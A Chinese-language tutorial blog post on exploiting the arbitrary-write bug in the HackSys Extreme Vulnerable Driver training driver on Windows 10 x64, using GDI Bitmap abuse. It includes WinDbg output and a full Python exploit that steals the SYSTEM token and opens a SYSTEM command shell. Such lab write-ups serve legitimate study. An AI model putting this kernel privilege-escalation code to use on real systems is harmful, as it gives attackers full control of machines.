0x001 前言
HackSys Extreme Vulnerable Driver是HackSys Team开发的一个Windows Kernel Exploition训练项目，从2016年开始已经开源在了Github上。整个项目编译好了以后只有一个.sys的驱动文件，通过IrpDeviceIoCtlHandler接收到的从用户态送来的特定命令，选择触发相对应的trigger method。各个题目的漏洞点比较明确，很适合作为Windows Kernel Exploitation的入门, Fuzzysecurity上也有一部分题目的分析，无奈是PowerShell版本的，不怎么熟悉，重新用Python实现了一遍。
0x002 调试环境
虚拟机：Windows 10 x64 1511 Feb 2016
主机：Windows 10 x64 1709 Dec 2017
必要工具：
1.VirtualKD[here]
2.OSRloader[here]
3.HackSysExtremeVulnerableDriver[here]
4.Windbg
5.Vmware
PS：具体的环境搭建、驱动编译、装载就不多讲了，网上应该不少，Fuzzysecurity上也有详细过程。
0x003 Proof of concept
本文，我们学习“GDI Bitmap滥用”，需要利用Arbitrary Write这个洞，用IDA打开驱动文件
很明显，漏洞成因就是把What指向的内容往Where指向地址里写8个byte。
先确保我们能够进到这个trigger method
import sys
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
buf = "A"*8 + "B"*8
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
得到这样的反馈就是没问题了
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0000000002090E18
[+] WRITE_WHAT_WHERE Size: 0x10
[+] UserWriteWhatWhere->What: 0x4141414141414141
[+] UserWriteWhatWhere->Where: 0x4242424242424242
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
0x004 How to Exploit it?
学过GDI编程的应该对CreateBitmap这个API不陌生了，具体传入参数如下
HBITMAP CreateBitmap（
_In_ int nWidth，
_In_ int nHeight，
_In_ UINT cPlanes，
_In_ UINT cBitsPerPel，
_In_ const VOID * lpvBits
);
执行这个脚本，内核会挂起来，然后Windbg附加上去
import sys,time
from ctypes import *
kernel32 = windll.kernel32
gdi32 = windll.gdi32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
bmp = gdi32.CreateBitmap(0x64,0x64,1,32)
print "[+] Bitmap objects Addr: {0}".format(hex(bmp))
kernel32.DebugBreak()
kernel32.DebugBreak()
while True:
time.sleep(60*60*24)
执行”g”命令，能看到Bitmap返回的句柄被打印出来了
C:Userswooy0ung>python C:Userswooy0ungDesktoppoc.py
[+] Bitmap objects Addr: 0x20050b46
接下来，需要找到GdiSharedHandleTable这个表
kd> !process 0 0 python.exe
PROCESS ffffe00058481840
SessionId: 1 Cid: 0584 Peb: 002ad000 ParentCid: 02f8
DirBase: 42277000 ObjectTable: ffffc000e4cf6ac0 HandleCount: <Data Not Accessible>
Image: python.exe
kd> .process ffffe00058481840
Implicit process is now ffffe000`58481840
WARNING: .cache forcedecodeuser is not enabled
kd> .context
User-mode page directory base is 42277000
kd> r $peb
$peb=00000000002ad000
kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
+0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void
GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针，通过计算获得，ptr = GdiSharedHandleTable + (handle & 0xffff) * (x64:0x18,x86:0x10)，handle是CreateBitmap返回的句柄
kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
+0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void
kd> dq 0x00000000`00b90000 + (0x6105104c & 0xffff)*0x18 L3
00000000`00ba8720 fffff901`44895000 40056105`00000584
00000000`00ba8730 00000000`00000000
那么，0xfffff90144895000便是我们刚刚创建的Bitmap的内核地址，而0x584表示当前进程PID(1412)
可以通过ProcessHacker验证
创建了一个Bitmap Object，同时间SURFACE OBJECT(包括BASEOBJECT、SURFOBJECT和pvScan0)也会被创建，其中pvScan0会指向当前SURFACE OBJECT的像素数据结构
typedef struct {
BASEOBJECT64 BaseObject;
SURFOBJ64 SurfObj;
.......
} SURFACE64
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64;
typedef struct {
ULONG64 dhsurf;
ULONG64 hsurf;
ULONG64 dhpdev;
ULONG64 hdev;
SIZEL sizlBitmap;
ULONG64 cjBits;
ULONG64 pvBits;
ULONG64 pvScan0;
ULONG32 lDelta;
ULONG32 iUniq;
ULONG32 iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ64
现在创建两个Bitmap Object(hManager和hWorker)，将hManager的pvScan0指针指向hWorker的pvScan0指针的存放地址，可以通过Arbitraty Write实现
因此，利用API SetBitmapBits hManager可以任意设置hWorker的pvScan0指针指向地址，而hWorker通过API SetBitmapBits与GetBitmapBits对内核地址任意读写。
0x005 Exploit it!
现在我们来讨论一下脚本该怎么写，首先，获取GdiSharedHandleTable的地址。
pbi = PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)
peb = pbi.PebBaseAddress.contents
gdiHandleTable = peb.GdiSharedHandleTable
print "[+] GdiSharedHandleTable : {0}".format(hex(gdiHandleTable))
因为微软没有把NtQuerySystemInformation这个API导出到ntdll，导致一些数据结构在Python上找不到，不能简单的“from ctypes.wintypes import *”
需要声明PEB、PROCESS_BASIC_INFORMATION和SYSTEM_MODULE_INFORMATION这几个结构
class PEB(Structure):
_fields_ = [("Junk", c_byte * 0xF8),
("GdiSharedHandleTable", c_void_p)]
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [("Reserved1", LPVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", LPVOID * 2),
("UniqueProcessId", c_void_p),
("Reserved3", LPVOID)]
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
查询得到GdiSharedHandleTable地址以后就是创建hManager与hWorker，并得到它们的pvscan0指针地址，利用Arbitrary Write写入指针
ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hManager_pvscan0_off : {0}".format(hex(hManager_pvscan0_off))
ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hWorker_pvscan0_off : {0}".format(hex(hWorker_pvscan0_off))
写入成功
最后就是找SYSTEM权限的进程，然后把该进程的Token写入到当前进程，这个不多说了。还需要留意几个重要的偏移，不同版本的Win10上可能不一致.
kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks
ntdll!_EPROCESS
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
kd> dt _EPROCESS ImageFileName Token
ntdll!_EPROCESS
+0x358 Token : _EX_FAST_REF
+0x450 ImageFileName : [15] UChar
我这里得到的是
token_off = 0x358
unique_process_id_off = 0x2e8
active_process_links_off = 0x2f0
WIN~
完整的EXP
import sys,time,struct,ctypes,os
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
from win32com.shell import shell
import win32con
kernel32 = windll.kernel32
gdi32 = windll.gdi32
ntdll = windll.ntdll
hManager = HBITMAP()
hWorker = HBITMAP()
class PEB(Structure):
_fields_ = [("Junk", c_byte * 0xF8),
("GdiSharedHandleTable", c_void_p)]
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [("Reserved1", LPVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", LPVOID * 2),
("UniqueProcessId", c_void_p),
("Reserved3", LPVOID)]
class GDICELL64(Structure):
_fields_ = [("pKernelAddress", c_void_p),
("wProcessId", c_ushort),
("wCount", c_ushort),
("wUpper", c_ushort),
("wType", c_ushort),
("pUserAddress", c_void_p)]
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
def write_mem(dest, src, length):
global hManager
global hWorker
write_buf = c_ulonglong(dest)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)
def read_mem(src, dest, length):
global hManager
global hWorker
write_buf = c_ulonglong(src)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)
def find_kernelBase(input_modules):
modules = {}
# Allocate arbitrary buffer and call NtQuerySystemInformation
system_information = create_string_buffer(0)
systeminformationlength = c_ulong(0)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Call NtQuerySystemInformation second time with right size
system_information = create_string_buffer(systeminformationlength.value)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Read first 4 bytes which contains number of modules retrieved
module_count = c_ulong(0)
module_count_string = create_string_buffer(system_information.raw[:8])
ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))
# Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
system_information = create_string_buffer(system_information.raw[8:])
for x in range(module_count.value):
smi = SYSTEM_MODULE_INFORMATION()
temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
module_name = smi.FullPathName.split('\')[-1]
modules[module_name] = smi
#debug_print ("rn[+] NtQuerySystemInformation():")
# Get base addresses and return them in a list
base_addresses = []
for input_module in input_modules:
try:
base_address = modules[input_module].ImageBase
#debug_print ("t[-] %s base address: 0x%X" % (input_module, base_address))
base_addresses.append(base_address)
except:
base_addresses.append(0)
return base_addresses
def main():
global hManager
global hWorker
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
gdi32.CreateBitmap.restype = HBITMAP
hManager = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())
hWorker = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())
print "[+] hManager Handle : {0}".format(hex(hManager))
print "[+] hWorker Handle : {0}".format(hex(hWorker))
pbi = PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)
peb = pbi.PebBaseAddress.contents
gdiHandleTable = peb.GdiSharedHandleTable
print "[+] GdiSharedHandleTable : {0}".format(hex(gdiHandleTable))
ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hManager_pvscan0_off : {0}".format(hex(hManager_pvscan0_off))
ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hWorker_pvscan0_off : {0}".format(hex(hWorker_pvscan0_off))
write_where = struct.pack("<Q", hManager_pvscan0_off)
write_what_object = struct.pack("<Q", hWorker_pvscan0_off)
write_what_object_ptr = id(write_what_object) + 0x20
write_what_final = struct.pack("<Q", write_what_object_ptr)
buf = write_what_final + write_where
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
kernelImage = "ntoskrnl.exe"
kernelImageBase = find_kernelBase(kernelImage.split())[0]
kernel32.LoadLibraryA.restype = HMODULE
hKernelImage = kernel32.LoadLibraryA(kernelImage)
print "[+] Module Name : {0}".format(kernelImage)
print "[+] Module Base(Userland) : {0}".format(hex(hKernelImage))
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
print "[+] PsInitialSystemProcess Userland Base Address : {0}".format(hex(PsISP_user_addr))
PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr - hKernelImage)
print "[+] PsInitialSystemProcess Kernel Base Address : {0}".format(hex(PsISP_kernel_addr_ptr))
PsISP_kernel_addr = c_ulonglong()
read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));
SYSTEM_EPROCESS = PsISP_kernel_addr.value
print "[+] SYSTEM EPROCESS : {0}".format(hex(SYSTEM_EPROCESS))
token_off = 0x358
unique_process_id_off = 0x2e8
active_process_links_off = 0x2f0
flink = c_ulonglong()
read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
CURRENT_EPROCESS = 0
while (True):
unique_process_id = c_ulonglong(0)
# Adjust EPROCESS pointer for next entry
EPROCESS = flink.value - unique_process_id_off - 0x8
read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));
# Check if we're in the current process
if (os.getpid() == unique_process_id.value):
CURRENT_EPROCESS = EPROCESS
break
read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
# If next same as last, we've reached the end
if (EPROCESS == flink.value - unique_process_id_off - 0x8):
break
print "[+] CURRENT EPROCESS : {0}".format(hex(CURRENT_EPROCESS))
system_token = c_ulonglong()
read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));
write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
0x006 参考文章
Part 17: Kernel Exploitation -> GDI Bitmap Abuse (Win7-10 32/64bit)
Window Kernel Exploit -> GDI Bitmap Abuse
Techwiki:Win32k/BASEOBJECT